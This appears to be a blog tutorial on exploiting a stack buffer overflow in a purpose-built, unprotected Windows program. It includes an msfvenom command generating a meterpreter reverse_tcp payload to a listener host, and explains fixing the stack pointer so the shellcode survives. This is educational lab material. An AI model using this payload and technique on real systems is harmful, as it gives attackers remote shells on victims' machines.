Metasploit is the most prevalent exploit framework in the world today thanks to it's ease of use, support, and scalability. Today we focus on payload generation and how some "assembly" may be required. (Pun Intended)
USE OF INFORMATION IN THIS REPORT FOR ANY ACTION AGAINST A MACHINE WITHOUT THE OWNERS CONSENT MAY VIOLATE THE LAW.
Simple Stack Based Buffer Overflow
Today's target was purposely built to demonstrate a simple stack based buffer overflow. It was compiled with DEP, ASLR, and other protections turned off in Visual Studio 2015. Here is the code:#include "stdafx.h"
As you can see we've created a 1024 byte buffer and are using the insecure GETS method to acquire user input. There is no bounds checking with GETS, therefore, it will take as much input as we give it. This leads to the stack based buffer overflow.
QUICK EXPLOIT CALCULATIONSThis will not be a full tutorial on exploit development, however, to continue with this demonstration we must calculate a few important offsets from the picture below:
Top of Stack: ESP (0x0018FB40)
Bottom Stack: EBP (0x0018FF40)
Return Addr: EBP+4 (0x0018FF44
Our user input will start at ESP and fill up to EBP (1024 bytes) unless we provide more than 1024 bytes of input. Our goal is to provide enough input that we overwrite the Return Address to transfer execution to our Shellcode(user input).
The final Shellcode will follow this formula:
SHELLCODE = Payload + Junk*(0x18FF44-0x18FB40-length(Payload)) + 0x0018FB40
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.50 LPORT=4444 -b "\x00\x0a\x0d\x1a\x1c\xff" -f python > x.py
The output from msfvenom was transferred to our windows machine and put into a Python file. We added the calculations mentioned above in the "QUICK CALCULATIONS" section. Note that the "\xeb\xfe" at the top of the script was added by the author to loop the debugger and was not added by msfvenom during payload generation. The code at the bottom of the script is simply calculating how much junk data we need to fill the buffer to reach our intended return address location.
PUTTING IT ALL TOGETHER
Now that we have our Python script put together, we can feed its printed output to our vulnerable ConsoleApplication4.exe through CMD prompt like this:
python x.py | ConsoleApplication4.exe
If everything worked correctly, the program should be "hung" in a loop because of our "EB FE" that we placed at the top of the payload. To verify this, we open a debugger and attach to ConsoleApplication4.exe:
We can see that EIP is stuck in a loop at 0x0018FB40 on the stack. Fantastic. This means that our payload was the correct size and that our junk data "A's" were the correct length to override the return address on the stack as indicated by the 0x41's on the stack in the lower right hand corner of the picture.
Since everything seems to line up, we can remove the EB FE from the top of our payload and run our CMD line again to let the exploit do it's magic.
WHAT WENT WRONG
All the calculations were correct because we gained control of EIP. Surely metasploit's shellcode payload must be correct because it's such a widely used tool and it's code is vetted by countless security professionals. So, what went wrong?
If we debug our shellcode we come to one of the first calls it performs via JMP LoadLibraryA. When the code returns from LoadLibraryA it will resume execution at ECX indicated in the picture:
Notice what happens to the bytes once we return from LoadLibraryA:
They've changed to invalid assembly instructions, thus causing an irrecoverable exception. Why?
LOCATION, LOCATION, LOCATION
It is always important to note where your data is located. In our example, we are executing on the stack. When we gain control of EIP, Metasploit's payload does not alter the current ESP or EBP values. Therefore, when it begins to make Windows API calls, the stack is located at the same location of our shellcode. When LoadLibraryA is called, it inadvertently pushes/pops values on/off the stack as needed to perform it's function. Unfortunately, it pushes/pops enough to overwrite our shellcode and cause the irrecoverable exception seen earlier.
METASPLOIT - SOME "ASSEMBLY" REQUIRED
So, how do we fix this? We simply need to write a few lines of assembly to manually set up the stack in a way that prevents subsequent functions from overwriting our shellcode. To do this we need to subtract a value greater than 1024 bytes from the current ESP location and then set EBP to ESP. This moves ESP below our shellcode on the stack and ensures that it will not be altered.
Our final Python file:
Success! You should now have a reverse shell to you Kali machine (if you set up a listener, which we did not do in this article.)
So, is Metasploit payload generation unreliable? Nope. Far from it. It is a fantastic tool that allows you to do very cool things with little effort. It is the defacto framework for noobies and professionals alike. However, it is very important, no matter what tool you are using, to understand what it is doing and how it is doing it. Knowing both of these things allows you to tailor the tool to your needs and this is what separates the script kiddies from the hackers. Happy Hunting.